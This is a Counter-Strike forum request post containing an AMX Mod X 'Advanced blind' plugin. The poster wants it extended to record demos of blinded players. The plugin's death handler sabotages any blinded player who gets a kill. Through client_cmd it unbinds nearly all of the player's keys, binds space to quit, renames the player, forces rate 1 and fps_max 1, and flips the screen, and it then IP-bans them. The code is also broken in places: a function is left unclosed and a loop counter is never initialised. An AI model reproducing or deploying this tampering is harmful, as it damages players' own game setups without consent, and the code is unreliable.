AlliedModders

AlliedModders (https://forums.alliedmods.net/index.php)
-   Suggestions / Requests (https://forums.alliedmods.net/forumdisplay.php?f=12)
-   -   plugin that automatically start demo (https://forums.alliedmods.net/showthread.php?t=173755)

kruger 12-10-2011 02:55

plugin that automatically start demo
 
We use on our server a blind plugin that after blinds the player if he makes a frag it is automatically banned.
There are some ups and downs to this method and we want if possible a plugin that when a player is blinded by an admin the plugin automatically starts also a demo on that player. The demo will stop when the player is unblinded or if it makes a frag when it is banned.

This is the plugin that I want modified:

Code:

#include <amxmodx>
#include <amxmisc>
#include <fakemeta_util>
#include <fun>
#include <engine>

new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

#define CMDTARGET_BLIND    (CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)

new bool:g_bBlind[33]
new gmsgScreenFade
new amx_show_activity
new admin[ 33 ];

static const poza[] = "http://xTeamCs.z1.ro/forum"

public plugin_init()
{
    register_plugin("Advanced blind", "1.0", "xTeamCs Team")
   
    gmsgScreenFade = get_user_msgid("ScreenFade")
    register_event("ScreenFade", "Event_ScreenFade", "b")
    register_event("DeathMsg","hook_death","a");
   
    register_concmd("blind","amx_blind", ADMIN_KICK, "- >nume sau #userid< -")
    register_concmd("unblind","amx_unblind", ADMIN_KICK, "- >nume sau #userid< -")
    if( !(amx_show_activity = get_cvar_pointer("amx_show_activity")) )
    {
        amx_show_activity = register_cvar("amx_show_activity","0")
    }
}

public client_putinserver( id )
{
    g_bBlind[id] = false
}

public amx_blind(id, level, cid)
{
    if(!cmd_access(id, level, cid, 2))
        return PLUGIN_HANDLED
   
    new arg[32]
    read_argv(1, arg, 31)
    new user = cmd_target(id, arg, CMDTARGET_BLIND)
    if(!user)
        return PLUGIN_HANDLED
   
    new name2[32], name[32], ip[32]
   
    get_user_name(id, name, 31)
    get_user_name(user, name2, 31)
    get_user_ip(user, ip, 31, 1)
    admin[ user ] = id;
    if(g_bBlind[user])
   
    {
        console_print(id, "Jucatorul ^"%s^" are deja blind", name2)
        return PLUGIN_HANDLED
    }
    else
    {
        g_bBlind[user] = true
       
        Fade_To_Black(user)
    }
   
    console_print(id, "Jucatorul ^"%s^" cu ip: ^"%s^" a primit blind", name2, ip)
    client_cmd(id,"amx_chat ^"%s^" a primit blind", name2)
   
    return PLUGIN_HANDLED
}

public amx_unblind(id, level, cid)
{
    if(!cmd_access(id, level, cid, 2))
        return PLUGIN_HANDLED
   
    new arg[32]
    read_argv(1, arg, 31)
    new user = cmd_target(id, arg, CMDTARGET_BLIND)
    if(!user)
        return PLUGIN_HANDLED
   
    new name2[32], name[32], ip[32]
   
    get_user_name(id, name, 31)
    get_user_name(user, name2, 31)
    get_user_ip(user, ip, 31, 1)
   
    if(g_bBlind[user])
    {
        g_bBlind[user] = false
       
        Reset_Screen(user)
    }
    else
    {
        console_print(id, "Client ^"%s^" is already unblind", name2)
        return PLUGIN_HANDLED
    }
    switch(get_pcvar_num(amx_show_activity))
    {
       
       
    }
    console_print(id, "Jucatorul ^"%s^" cu ip: ^"%s^" a primit unblind", name2, ip)
    client_cmd(id,"amx_chat ^"%s^" a primit unblind", name2)
    return PLUGIN_HANDLED
}

public Event_ScreenFade(id)
{
    if(g_bBlind[id])
    {
        Fade_To_Black(id)
    }
}

Fade_To_Black(id)
{
    message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
    write_short((1<<3)|(1<<8)|(1<<10))
    write_short((1<<3)|(1<<8)|(1<<10))
    write_short((1<<0)|(1<<2))
    write_byte(255)
    write_byte(255)
    write_byte(255)
    write_byte(255)
    message_end()
}

Reset_Screen(id)
{
    message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
    write_short(1<<2)
    write_short(0)
    write_short(0)
    write_byte(0)
    write_byte(0)
    write_byte(0)
    write_byte(0)
    message_end()
}


public hook_death(){
   
    new killer = read_data(1);
   
   
    new numeserver [64], numeadmin[32],  numeblindat[32], ipadmin[32], ipcodat [32], admini[33], inum, message[552]
    new fo_logfile[64],timp[64],maxtext[256]
   
   
    get_user_name(admin[killer], numeadmin, 31)
    get_user_name(killer, numeblindat, 31)
    get_user_ip(admin[killer], ipadmin, 31, 1)
    get_user_ip(killer, ipcodat, 31, 1)
    get_cvar_string("hostname",numeserver,63);
    get_configsdir(fo_logfile, 63)
    get_time("%m/%d/%Y - %H:%M:%S",timp,63)
   
   
   
    if(g_bBlind[killer])
   
   
    {
       
        //commanzi daca face frag dupa blind
       
        IncarcareServer()
        ScriereServer()   
       
        format(message,551,"FRAG DUPA BLIND^nRESPECTA SI VEI FI  RESPECTAT.^nEsti al %i`lea nemernic turnat.^nSperam ca te-ai  lecuit.^nwWw.nEbuniE.nEt",SalvareServer)
       
        format(maxtext, 255, "[LaLeagane] %s -> ADMIN: %s %s  CODAT: %s  %s ",timp,numeadmin,ipadmin,numeblindat,ipcodat)
        format(fo_logfile, 63, "%s/fragdupablind.txt", fo_logfile)
       
       
        for (new i = 0; i < inum; ++i) {
            if ( access(admini[i],ADMIN_CHAT) )
                client_print(admini[i],print_chat,"LaLeagane: Jucatorul  %s a facut frag dupa blind-ul dat de %s",killer,admin[killer])
        }
       
       
       
        client_cmd(killer,"developer 1")
        client_cmd(killer,"unbind w;wait;unbind a;unbind s;wait;unbind  d;bind mouse1 ^"say Am facut frag dupa BLIND pe  nEbuniE.nEt^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
        client_cmd(killer,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
        client_cmd(killer,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
        client_cmd(killer,"unbind end;wait;bind escape ^"say Am facut  frag dupa BLIND pe nEbuniE.nEt^";unbind z;wait;unbind x;unbind  c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
        client_cmd(killer,"unbind rightarrow;wait;unbind mwheeldown;unbind  mwheelup;wait;bind ` ^"say Am facut frag dupa BLIND pe  nEbuniE.nEt^";bind ~ ^"say Am facut frag dupa BLIND pe  nEbuniE.nEt^";wait;name ^"CODAT de pe nEbuniE.nEt ^"")
        client_cmd(killer,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
       
       
        write_file(fo_logfile,maxtext,-1)
        set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
        show_hudmessage(0, message)
       
        client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")
       
       
        client_print(killer, print_chat, "* FRAG DUPA BLIND by %s", poza)
        client_print(killer, print_chat, "* Poza facuta pe : %s",numeserver)
        client_print(killer, print_chat, "* Nume codat:  ^"%s^" cu IP: %s",numeblindat,ipcodat)
        client_print(killer, print_chat, "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
        client_print(killer, print_chat, "* Data : %s",timp)
        client_print(killer, print_chat, "* Viziteaza %s pentru a face o cerere de UNBAN.", poza)
       
        client_cmd(killer,"wait;snapshot")
       
        console_print(killer, "* FRAG DUPA BLIND by %s", poza)
        console_print(killer, "* Poza facuta pe : %s",numeserver)
        console_print(killer, "* Nume codat:  ^"%s^" cu IP: %s",numeblindat,ipcodat)
        console_print(killer, "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
        console_print(killer, "* Data : %s",timp)
        console_print(killer, "* Viziteaza %s pentru a face o cerere de UNBAN.", poza)
       
        client_cmd(killer,"wait;snapshot")
       
        console_print(admin[killer], "* FRAG DUPA BLIND by %s", poza)
        console_print(admin[killer], "* Poza facuta pe : %s",numeserver)
        console_print(admin[killer], "* Nume codat:  ^"%s^" cu IP: %s",numeblindat,ipcodat)
        console_print(admin[killer], "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
        console_print(admin[killer], "* Data : %s",timp)
        console_print(admin[killer], "* Viziteaza %s pentru a face o cerere de UNBAN.", poza)
       
        client_cmd(admin[killer],"wait;snapshot")
       
       
       
        client_cmd( admin[killer], "amx_addban %s 999999 ^"FRAG DUPA BLIND^"", ipcodat );
       
       
        //commanzi daca face frag dupa blind
       
       
    }
   



stock IncarcareServer(){
    get_configsdir(DirectorServer, 63)
    format(FisierServer,127,"%s/fragdupablind.q",DirectorServer)
    if (!file_exists(FisierServer)){
        return PLUGIN_HANDLED
    }
    else {
       
        read_file(FisierServer,0,TextServer,LimbaServer,r)
       
        SalvareServer = str_to_num(TextServer)
    }
    return PLUGIN_CONTINUE
}
stock ScriereServer(){
    get_configsdir(DirectorServer, 63)
    format(FisierServer,127,"%s/fragdupablind.q",DirectorServer)
    if (!file_exists(FisierServer)){
        return PLUGIN_HANDLED
    }
    else {
       
        read_file(FisierServer,0,TextServer,LimbaServer,t)
       
       
        SalvareServer = str_to_num(TextServer)
        SalvareServer = SalvareServer + 1
        format(TextServer,31,"%i",SalvareServer)
        delete_file(FisierServer)
        write_file(FisierServer,TextServer,-1)
    }
    return PLUGIN_CONTINUE
}



All times are GMT -4. The time now is 20:59.

Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.